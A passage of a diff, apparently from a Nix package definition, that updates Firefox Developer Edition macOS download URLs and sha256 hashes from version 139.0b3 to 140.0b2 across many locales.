+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/eo/Firefox%20140.0b2.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "00c505dc9fd5c7e10e424022ce7807a886567b9ef01817e0d86ebd7bcb51e38a";
+      sha256 = "ae306283229c379bfc29cf47b3dfc1fcb5a71d038e4e851781206f619fd19023";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/es-AR/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-AR/Firefox%20140.0b2.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "cb8cd92f3762979b88dfc445bf5d71d83fc7eccd138995b1f6f8662a00c06751";
+      sha256 = "e9d3b45ad4454c8b3ae7b04ad9976b46c9d2b5b96271a58fee55dff00f7044ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/es-CL/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-CL/Firefox%20140.0b2.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "4d54031158a87e46f4dd79a2f3835fa2ecafe059160fece167a3eccb213d4ded";
+      sha256 = "1e1fc107c05a73888155a9eb89287a5eb4dd9c4eb61fa54afc096a53b4283fd3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/es-ES/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-ES/Firefox%20140.0b2.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "2e150d79a2ba9e065128963097289a4ed340473de8a6b5f73a6435ca3bc8ae88";
+      sha256 = "639b027643f251dc168d3b93530d8bd3fcd394f3ff62a3eab964b00f9904a175";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/es-MX/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/es-MX/Firefox%20140.0b2.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "4e22a347506019c216f3d8f3b363677f9677a44816de1b1cb42a11fb3beb62b7";
+      sha256 = "f9f13f56e74d999c13b17c565087bdc62d38228c49bdebacd2ffe5d972172131";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/et/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/et/Firefox%20140.0b2.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "f887cf78873cce42ec474a9bf7e2de793b39087b5d71a86a00ace6543d5f06ed";
+      sha256 = "c05c637c4e1e3f5ac941ed86f3eb35a25e910eefd08901322aca5aaef1aa9c3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/eu/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/eu/Firefox%20140.0b2.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "832d8dc7d0d7d011967825e747ffca5697c6a8bbcd0592b60f77bcb602e64b3e";
+      sha256 = "38ed25cbd21e84d73408fd4b2a934b0e4a975cd9b67050b2f584f462f6175cc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/fa/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fa/Firefox%20140.0b2.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "bd2fd21b2efddcbad65057b06059c93e4a3ed4535966f71f59b213b9dddcf110";
+      sha256 = "781e74251240e31bc03c6453cd912c6b8c1399bde374d9218ed0b4a4fa3be374";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ff/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ff/Firefox%20140.0b2.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "2268a7857090100091254d57e47d72826965e94d3d2922ae0713d8331c0c3fa7";
+      sha256 = "1e02316b5877b8ac781edb9c97b3341d923d02b04eb0a625cc48220f3fa595dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/fi/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fi/Firefox%20140.0b2.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "72c7f214ac536cddd3bdd12e14f8e18e82d91e2341622e340691dc119b44b459";
+      sha256 = "444db967472e296569612d6686ac31bd0d13d16c58fa87a05edce7a04d8aa8c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/fr/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fr/Firefox%20140.0b2.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "1392ee9e9ece7c3c0a1034ea3460ce18d4dc09695a6c3872f75b44e2083dd6cf";
+      sha256 = "4b8b893500b27eaa571b87f5a02fb2259cc8e0be6dfa11bbbc43635b9656233b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/fur/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fur/Firefox%20140.0b2.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "6b37a09f9e0d05747bf71f6bf33bfee5405900a6486b0e327af7958c4848b889";
+      sha256 = "1e049b0c7b303bb59425280c838f5855329b523e092e151323c5f3e4b14b1446";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/fy-NL/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/fy-NL/Firefox%20140.0b2.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "c1ba5e0babab78374c0644917a985bd016fc84383e848c0c08e424ae229f33ee";
+      sha256 = "a66abc76de786b262bf98b903ec78509d4bdd760ec4b7664befaf7a34c29ba9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ga-IE/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ga-IE/Firefox%20140.0b2.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "ab89350cad0a76f3aa3b7958f5e41af7b3f0362ae5716ed764019d86cd55830a";
+      sha256 = "f3d3846347c1295cdd2ce5f9eedb7924ca3eb58b1dfb62cb941b09166dd5d5fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/gd/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gd/Firefox%20140.0b2.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "4e36e3ca3e6f2336c10bb1c78db21449b0e893b56f8e0220ad783a0481676e2b";
+      sha256 = "31ffc94d1dd8dd5fe8586cdaf62289f3dfeadb13f98a7253463ad1e31d3b01c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/gl/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gl/Firefox%20140.0b2.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "8834cb809f19bbe04bcb97fa0d231049fb0636d701ed04c2eb5c29cf2bb938cd";
+      sha256 = "a35e82b0ea8b3dda94af2250e88fbabe73d1e80c3107a0858510797564e508dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/gn/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gn/Firefox%20140.0b2.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "d14cd07d0fd5b9b0f805b327bcb76966ca52ea1790145e47ae770f6361245727";
+      sha256 = "027723af70d814b569ed34f3aac20f88b3f240f385c74938cd17c4f51a5d821f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/gu-IN/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/gu-IN/Firefox%20140.0b2.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "c2c14a42f72894d17751c324b5a372a2141c5f3228e8c2055e302ce5a619b795";
+      sha256 = "fd90192e423f2ebd31b2fc3cf5489203c64cec7a32e407eefa67d9f855ea9e01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/he/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/he/Firefox%20140.0b2.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "36499814455eea5f4b625c332739530bcbe67b884fb3634086c51841043ab861";
+      sha256 = "cf93ebd15ad94671080e7e1cedb89b62269ffea14eb577b6fe0e2bf07850207e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/hi-IN/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hi-IN/Firefox%20140.0b2.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "6aaae4c73c81bbff984c8b94dbbc51c403161ce0658e713215167c62b9bd5a26";
+      sha256 = "e31224609e571576e63fbc976ef5d19f829cc4f3651079f31da4e2121dccdf4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/hr/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hr/Firefox%20140.0b2.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "1d05037ef618476b485a1ee5f54fd379978caac33aed2601da1196b531ff9251";
+      sha256 = "db90c833900707d4f4a5774fc63481883ba49dc5fe64a8f6356b3d050d62124e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/hsb/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hsb/Firefox%20140.0b2.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "c5dc2bea7cc3035da37e6adbbb7ff5e4c9c8dadb18a0f284aa6480ba0523fa27";
+      sha256 = "062a1815118ab0b8504f1fe68ef15e989f228ff8cfde50df0ec0cb23bb64edb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/hu/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hu/Firefox%20140.0b2.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "98747da364f017149e792d392c3799f5817960f84ef0fb291c2dc76bd2acff93";
+      sha256 = "0d58e286af8a98faebe766da043523ec6ed558c65284d791e82efc5a1defdad1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/hy-AM/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/hy-AM/Firefox%20140.0b2.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "caf0feb89b4d2830699d9e6beb4f799269a291a8de1c7792b9ae7ea59cf33c4b";
+      sha256 = "b3129366bab54573c690bece87689f971c33f0255865b57f836d87583241054a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ia/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ia/Firefox%20140.0b2.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "e07aac3d382089f3b2739427a687f77ba1b4e366988c64dfca24fa7aa154ff41";
+      sha256 = "af5c9f132655b2a5a64faad3bc5f4334108d5cfbb860313fdbb5959c67f4846f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/id/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/id/Firefox%20140.0b2.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "b080f0e359a540b588f44388fdeb340e73e00eca8183e75d3df34eb0c94e6adc";
+      sha256 = "159eef1610be0923f99b77ad48ab2bbaf451bb0d8b1e6651ca164ba993e25611";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/is/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/is/Firefox%20140.0b2.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "14ea2fdb726247ff132736ee16abf640a50e2c4626d4128cabf29c92868b9c64";
+      sha256 = "08569f11b397506b4376ccd634fcdf3c548a78b1ccfb1bbff43704cd73d4fded";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/it/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/it/Firefox%20140.0b2.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "896c2b89b0e74550ffee1b2b64cbabba41a5e966f0a606b1cd1109c82fa7b839";
+      sha256 = "d7469d7f3117ea3ea013df5dec0003a9890504d2f3d70550217dc80b290bf93d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ja-JP-mac/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ja-JP-mac/Firefox%20140.0b2.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "bce36ac2f32606f1ee92fd9bda765bb7a3956efb4b87827b94ea246779caff51";
+      sha256 = "2991001790e31d97bd5e7378dc3fd6f78bf496db091dcb7e5e8929980a3ca8c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ka/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ka/Firefox%20140.0b2.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "15c2a3a3f1b4d4b3602afd3e25774b1ea073b6cc1394c623ebde0d5cb2196d59";
+      sha256 = "053c5217774c857a6dc15007e447dea36dc76d403cd1024938987bd6e15ca8af";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/kab/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/kab/Firefox%20140.0b2.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "3647fb09d5c77bb90788aab0329da3e7e562cb455483289d5152bd845162aaef";
+      sha256 = "57a6e16519fa59c2dd902d26308ce1f9bd1e28ab7d20ca55736cfa275192e951";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/kk/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/kk/Firefox%20140.0b2.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "bc253d2686952356ae7b6ee8429fc30b3b67b9c99ce1f8372b7a280172bc340a";
+      sha256 = "bc6974ccea65432855aa31f5183578ada6562efce971588c3fc6bfe1b841986a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/km/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/km/Firefox%20140.0b2.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "62ffcffd64359b8cae0138819e4783678f2a50f9359a4d71a883731117cfc5c1";
+      sha256 = "893979330f94c241f95188b479628e6a3c20f771e778459bdd95cf6e9b6abdc4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/kn/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/kn/Firefox%20140.0b2.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "c213cbd3f6d7267f39be082f93dd5d46ead2df09878f31f2c2b472e3c795c718";
+      sha256 = "12cd26e5fc8dc9355ac7e75964cff9553ce300949fe0c9646c901b4b31ea8e97";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ko/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ko/Firefox%20140.0b2.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "257a6db2f9324b4f983ab0bd655096391dc193733ab0a4c3fcd8525f8e0d2e8b";
+      sha256 = "f81b961491a67e97ed738a49f1a09dbf42654df0921ee0a7b8b711b72ac906c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/lij/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/lij/Firefox%20140.0b2.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "13ab3253431ca8903376986973944f50930d81ba5265b20063819e425ccf03be";
+      sha256 = "3ebcf3cf0fa5bfcc742f915aa5c35bf83cd51e9da0e196bc2d8ba66e9692cd9a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/lt/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/lt/Firefox%20140.0b2.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "eaf604655b8851623523e07adeb17d3c491a6446483f8ae08a0e3b26ac00537b";
+      sha256 = "49f53843360a4b9b5ac9464a5d2a94d795f5dae355d590127e8804229b4e55a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/lv/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/lv/Firefox%20140.0b2.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "68a8759f7b87d60a5888bc3e411ff1d96c8fbe2d777d955405c7175a26785947";
+      sha256 = "33506586c4e1672039cf32e62c0558d06ee96d3f0172565f9bd1ecee7ea38f65";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/mk/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/mk/Firefox%20140.0b2.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "dfaf7648103b53050f8e6bfd9d15a16c91b5c8097ae66dbf29b4816c98585f8d";
+      sha256 = "0798de1794c577af5e0545f4682baa4e72cb700bc153ce23d597fbb58882a32e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/mr/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/mr/Firefox%20140.0b2.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "98b55e60b28c26f2d4b64ccc6c2a168eb3778b3eb7f30338c7fe65b93c4947aa";
+      sha256 = "a73d3ae4ebd2e80e4fb7280ca335ad99146d71faabf6dbb0c114f98f088d89f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ms/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ms/Firefox%20140.0b2.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "0f4dfebfe6a49408c9e6f86f08fbeeba1752e2338547414d3f951b54301a0190";
+      sha256 = "73c3351e7e63bbd50b7b9c79c3a604fd31efcf381d1a9c023f9c7bdc6f0f5303";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/my/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/my/Firefox%20140.0b2.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "69a6343204688fb6917ae3bc8246dbf05aa0d33ba1e3ab1dd63bff15517927eb";
+      sha256 = "631e0ece9a4af6e8ae1bc447ee433c95cdae9a9c18ae75c49022655ace95395a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/nb-NO/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/nb-NO/Firefox%20140.0b2.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "e53432862824641c579b83b0390c5266fd9acd775774e675b92c85dd0a1f283b";
+      sha256 = "632a6cafabc4fb5bb579d00938a727e169453bca23727c4f981bc6af49487958";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ne-NP/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ne-NP/Firefox%20140.0b2.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "1ec4db3a6a73d9c89c1abac64c3f21f203a312d03239c634aab1b5fc1e1978f7";
+      sha256 = "5fc19a06fdb469fa27246f5541887fb36a5f05826f645fd4dd5941d37ac46ad8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/nl/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/nl/Firefox%20140.0b2.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "c4d22c9a149fc3b9fe1026e12463e95e96dd684dba1d6087d295d83b214ee419";
+      sha256 = "68c88cac72f77231dd4e26a6e1790f13facb0bc37cfc04eb5e17020ad1c6521d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/nn-NO/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/nn-NO/Firefox%20140.0b2.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "8ed77e09b7f21288f0afab5eeaa3f37d516d65c98937e6651362d1655be35b27";
+      sha256 = "25cd5de92e437b848c83d049380a10d9dce7f26456c20fb3da1e29d7adb98b6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/oc/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/oc/Firefox%20140.0b2.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "228a5983879f3d71ed5c3f0e3147814889e647a495083a18b99ec0a352620138";
+      sha256 = "6a8a2d6a6f85d8583d14abb61b7aba1dadb5830f5d33b80ad1b7ef5ed010341a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/pa-IN/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pa-IN/Firefox%20140.0b2.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "8b2c24e4396863b73b514035ef1bd950bbdce38a891bfd157e8dce2b47be0ce9";
+      sha256 = "72d017a1115c861d89ba13ffaa673d1a33b459426cf2be7434ac526473e458b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/pl/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pl/Firefox%20140.0b2.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "54dbd4a9a0ff77c603108afda46ad70d492795dfd1de37e0baa61fc1a1892839";
+      sha256 = "868b42e0a9752172fe8871a5e74a6ee6d1e6ace89480a2b8f937f57187581d17";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/pt-BR/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pt-BR/Firefox%20140.0b2.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "67a1c150bf04edc8d4cc15fdb864828feeb3329cdd454be8b25bf455cd64b863";
+      sha256 = "edf314c2893d2a07ae3c0e98fd4faa01a8c70afa1c42bf96f4b908e987d65d30";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/pt-PT/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/pt-PT/Firefox%20140.0b2.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "8f64369b64b5bdecfd25eabd0efc4ddc1b2ca724e0532f1a79c4d1875217aba8";
+      sha256 = "7c23718aae1119db08e6225104c3748e7b175eb6c96eb21ff7e098f3b3b457bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/rm/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/rm/Firefox%20140.0b2.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "2f2f00063d3bf05c486734567e26cbc9563d699208b180ee969bda9a3e990872";
+      sha256 = "0dee6e7eabfb1d2727ae10ffe3efde28e87574573271793f27f4696cc6ed4735";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ro/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ro/Firefox%20140.0b2.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "8c4f64ff21c0fc81559d29958a9f3419680272a8fe3a309e07b2848b3a0756b2";
+      sha256 = "258337f48e73793368e35586b22ab61f441eeb5c884fb1fae2a19fe750dee283";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ru/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ru/Firefox%20140.0b2.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "c0976a0c47d82613fbcbd3054cc92f1239ec8af017b79f9cc3c7e2a46058b085";
+      sha256 = "0d94677e22915b79deddfbfdb80c8be4699fbb47fda59b5e54ea26ab80064210";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sat/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sat/Firefox%20140.0b2.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "ca292c59e2845540369343d79572523e1e4cf383ab27b079e5503ca9b336db40";
+      sha256 = "78f600da1286888e95132da917f0881e2fb480cdaab5f339914f7a3509b5cb12";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sc/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sc/Firefox%20140.0b2.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "bef03d37448cd88fd7d455e263673ad057e51e5e375766c79dc96d10c807904c";
+      sha256 = "567c98cf0a6d6c789dce738546e02a8c31574b718e997a9e287abc3eedec8c39";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sco/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sco/Firefox%20140.0b2.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "6d303464a114597524152610c4e431a81fae3b9282764874f2a0548bc5d20974";
+      sha256 = "d71db15059d870d0dfb7492403342df38f7ec0942f72363914153357141b780b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/si/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/si/Firefox%20140.0b2.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "4f4c76296bc4f04ad97cbd35a02987d99ef9c05a3a02b06e8d48860087adbf8d";
+      sha256 = "894c1f664aacb2dd66ba0428d27bb07918c50fbf5529243591f93447c4a21811";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sk/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sk/Firefox%20140.0b2.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "07d0440034e2c92c183682ebc9778f32f7549e9e3668a9a012faebf64b66d1b3";
+      sha256 = "29bbcf6c57010f28cbba52d2fffa909387c3660d0fdda5a53486e05a872adf9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/skr/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/skr/Firefox%20140.0b2.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "f8ceb672752e27a354ff54250a182465a718e1d83ccc6d7f3716c36d343b8ff7";
+      sha256 = "3d65a2d0b7ae8546feee7720261cbcde1f100adb31305c4f2ffcc26206b475db";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sl/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sl/Firefox%20140.0b2.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "76a258adaadc52b24f596495766cab8ce4344db2d06d291afcc20029627d9ea9";
+      sha256 = "60f74c2dfaac5b049ffc480ed6fd77280ed839caaa8872d3a30eaf5698f5273a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/son/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/son/Firefox%20140.0b2.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "6356d093eafd677b78e76fe1fa7247ec723df4432fe69024fc80de6ebd98a146";
+      sha256 = "513be0645fa2800fdc4f228727fbb9b4f93364caba511673265a8993850100bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sq/Firefox%20139.0b3.dmg";
